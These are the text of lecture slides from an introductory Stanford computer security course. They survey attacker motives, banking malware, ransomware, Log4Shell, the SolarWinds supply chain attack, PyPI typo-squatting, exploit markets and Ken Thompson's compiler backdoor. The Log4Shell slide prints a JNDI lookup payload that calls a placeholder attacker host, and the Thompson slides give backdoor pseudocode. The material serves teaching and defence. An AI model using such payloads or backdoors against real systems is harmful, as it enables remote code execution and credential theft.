CS155 Computer Security Course overview Dan Boneh

CS155 Computer Security Course overview Dan Boneh

Admin Course web site: https://cs155.Stanford.edu Profs: Dan Boneh and Zakir Durumeric Three programming projects (pairs) and two written homeworks Project #1 posted. Please attend first section! Use EdDiscussions and Gradescope Automatic 72 hour extension Dan Boneh

The computer security problem Lots of buggy software Money can be made from finding and exploiting vulns. 1. Marketplace for exploits (gaining a foothold) 2. Marketplace for malware (post compromise) 3. Strong economic and political motivation for using both current state of computer security Dan Boneh

Top 10 products by total number of “distinct” vulnerabilities in 2021 source: https://www.cvedetails.com/top-50-products.php?year 2021 Dan Boneh

Distribution of exploits used in attacks Java Android Browser Source: Kaspersky Security Bulletin 2021 Office Dan Boneh

A global problem Top 10 countries by share of attacked users: Source: Kaspersky Security Bulletin 2021 Dan Boneh

Goals for this course Understand exploit techniques – Learn to defend and prevent common exploits Understand the available security tools Learn to architect secure systems Dan Boneh

This course Part 1: basics (architecting for security) Securing apps, OS, and legacy code: sandboxing, access control, and security testing Part 2: Web security (defending against a web attacker) Building robust web sites, understand the browser security model Part 3: network security (defending against a network attacker) Monitoring and architecting secure networks. Part 4: securing mobile applications Dan Boneh

Don’t try this at home ! Dan Boneh

Introduction What motivates attackers? economics Dan Boneh

Why compromise end user machines? 1. Steal user credentials keylog for banking passwords, corporate passwords, gaming pwds Example: SilentBanker (and many like it) User requests login page Malware injects Javascript When user submits information, also sent to attacker Adversary-in-the-Browser (AITB) Bank sends login page needed to log in Bank Similar mechanism used by Zbot, and others Dan Boneh

Lots of financial malware records banking passwords via keylogger spread via spam email and hacked web sites maintains access to PC for future installs Source: Kaspersky Security Bulletin 2021 Dan Boneh

Similar attacks on mobile devices Example: FinSpy. Works on iOS and Android (and Windows) once installed: collects contacts, call history, geolocation, texts, messages in encrypted chat apps, How installed? – Android pre-2017: links in SMS / links in E-mail – iOS and Android post 2017: physical access Dan Boneh

Why own machines: 2. Ransomware a worldwide problem Worm spreads via a vuln. in SMB (port 445) Apr. 14, 2017: Eternalblue vuln. released by ShadowBrokers May 12, 2017: Worm detected (3 weeks to weaponize) Dan Boneh

Dan Boneh WannaCry ransomware

Why own machines: 3. Bitcoin Mining # affected users Examples: 1. Trojan.Win32.Miner.bbb 2. Trojan.Win32.Miner.ays 3. Trojan.JS.Miner.m 4. Trojan.Win32.Miner.gen Source: Kaspersky Security Bulletin 2021 Dan Boneh

Server-side attacks: why? (1) Data theft: credit card numbers, intellectual property – Example: Equifax (July 2017), 143M “customer” data impacted Exploited known vulnerability in Apache Struts (RCE) – Many many similar attacks since 2000 (2) Political motivation: – Election: attack on DNC (2015), – Ukraine attacks (2014: election, 2015,2016: power grid, (3) Infect visiting users 2017: NotPetya, ) Dan Boneh

Result: many server-side Breaches Typical attack steps: – Reconnaissance – Foothold: initial breach – Internal reconnaissance – Lateral movement – Data extraction Security tools available to try and stop each step (kill chain) will discuss tools during course but no complete solution – Exfiltration Dan Boneh

Case study 1: Log4Shell (2021) Log4j: a popular logging framework for Java Nov. 21: vulnerability in Log4j 2 enables Remote Code Execution Over 7000 code repositories affected and many Java projects The bug: Log4j can load and run code to process a log request victim attacker message containing: {jndi:ldap://attacker.com} LDAP query then HTTP GET Malicious Java code log.info(“ {jndi:ldap://attacker.com} ”) execute code Dan Boneh

The result How was this exploited? Khonsari ransomware XMRIG Cryptominer Orcus Remote Access Trojan How to prevent problems of this type? Isolation: sandbox log4j library or sandbox entire application Dan Boneh

Case study 2: SolarWinds Orion (2020) SolarWinds Orion: set of monitoring tools used by many orgs. What happened? sunburst malware one infected DLL SolarWinds.Orion.Core.DLL SolarWinds Orion software update Customer 1 orion Customer 18000 orion Attack (Feb. 20, 2020): attacker corrupts SolarWinds software update process Large number of infected orgs not detected until Dec. 2020 . Dan Boneh

Sunspot: malware injection How did attacker corrupt the SolarWinds build process? taskhostsvc.exe runs on SolarWinds build system: – monitors for processes running MsBuild.exe (MS Visual Studio), – if found, read cmd line args to test if Orion software being built, – if so: replace file InventoryManager.cs with malware version (store original version in InventoryManager.bk) when MsBuild.exe exits, restore original file no trace left How can an org like SolarWinds detect/prevent this ? Dan Boneh

The fallout Large number of orgs and govt systems exposed for many months More generally: a supply chain attack Software, hardware, or service supplier is compromised many compromised customers Many examples of this in the past (e.g., Target 2013, ) Defenses? Dan Boneh

Case study 3: typo squatting pip: The package installer for Python Usage: python –m pip install ‘SomePackage 2.3’ # specify min version By default, installs from PyPI: The Python Package Index (at pypi.org) PyPI hosts over 300,000 projects Security considerations? Dan Boneh

Security considerations: dependencies Every package you install creates a dependence: Package maintainer can inject code into your environment Supply chain attack: attack on package maintainer compromise dependent projects Many examples: https://jfrog.com/blog/malicious-pypi-packages-stealing-credit-cards-injecting-code/ Dan Boneh

Security considerations: typo-squatting The risk: malware package with a similar name to a popular package unsuspecting developers install the wrong package Examples: urllib3: a package to parse URLs. Malware package: urlib3 python-nmap: net scanning package. Malware package: nmap-python From 2017-2020: 40 examples on PyPI of malware typo-sqautting packages [Meyers-Tozer’2020] Dan Boneh

Introduction The Marketplace for Vulnerabilities Dan Boneh

Marketplace for Vulnerabilities Option 1: bug bounty programs (many) Google Vulnerability Reward Program: up to 31,337 Microsoft Bounty Program: up to 100K Apple Bug Bounty program: up to 200K Stanford bug bounty program: up to 1K Pwn2Own competition: 15K Dan Boneh

Google’s bug bounty program https://bughunters.google.com/ Dan Boneh

Marketplace for Vulnerabilities Option 1: bug bounty programs (many) Google Vulnerability Reward Program: up to 31,337 Microsoft Bounty Program: up to 100K Apple Bug Bounty program: up to 200K Stanford bug bounty program: up to 1K Pwn2Own competition: 15K Option 2: Zerodium: up to 2M for iOS, many others 2.5M for Android (since 2019) Dan Boneh

Marketplace for Vulnerabilities RCE: remote code execution LPE: local privilege escalation SBX: sandbox escape Source: Zerodium payouts Dan Boneh

Marketplace for Vulnerabilities RCE: remote code execution LPE: local privilege escalation SBX: sandbox escape Source: Zerodium payouts Dan Boneh

Why buy 0days? https://zerodium.com/faq.html Dan Boneh

Ken Thompson’s clever Trojan Turing award lecture (CACM Aug. 1984) What code can we trust? Dan Boneh

What code can we trust? Can we trust the “login” program in a Linux distribution? (e.g. Ubuntu) No! the login program may have a backdoor records my password as I type it Solution: recompile login program from source code Can we trust the login source code? No! but we can inspect the code, then recompile Dan Boneh

Can we trust the compiler? No! Example malicious compiler code: compile(s) { if (match(s, “login-program”)) { compile(“login-backdoor”); return } /* regular compilation */ } Dan Boneh

What to do? Solution: inspect compiler source code, then recompile the compiler Problem: C compiler is itself written in C, compiles itself What if compiler binary has a backdoor? Dan Boneh

Thompson’s clever backdoor Attack step 1: change compiler source code: compile(s) { if (match(s, “login-program”)) { compile(“login-backdoor”); return } if (match(s, “compiler-program”)) { (*) compile(“compiler-backdoor”); return } /* regular compilation */ } Dan Boneh

Thompson’s clever backdoor Attack step 2: Compile modified compiler compiler binary Restore compiler source to original state Now: inspecting compiler source reveals nothing unusual but compiling compiler gives a corrupt compiler binary Complication: compiler-backdoor needs to include all of (*) Dan Boneh

What can we trust? I order a laptop by mail. When it arrives, what can I trust on it? Applications and/or operating system may be backdoored solution: reinstall OS and applications How to reinstall? Can’t trust OS to reinstall the OS. Boot Tails from a USB drive (Debian) Need to trust pre-boot BIOS, UEFI code. Can we trust it? No! (e.g. ShadowHammer operation in 2018) Can we trust the motherboard? Software updates? Dan Boneh

So, what can we trust? Sadly, nothing anything can be compromised but then we can’t make progress Trusted Computing Base (TCB) Assume some minimal part of the system is not compromised Then build a secure environment on top of that will see how during the course. Dan Boneh

Next lecture: control hijacking vulnerabilities THE END Dan Boneh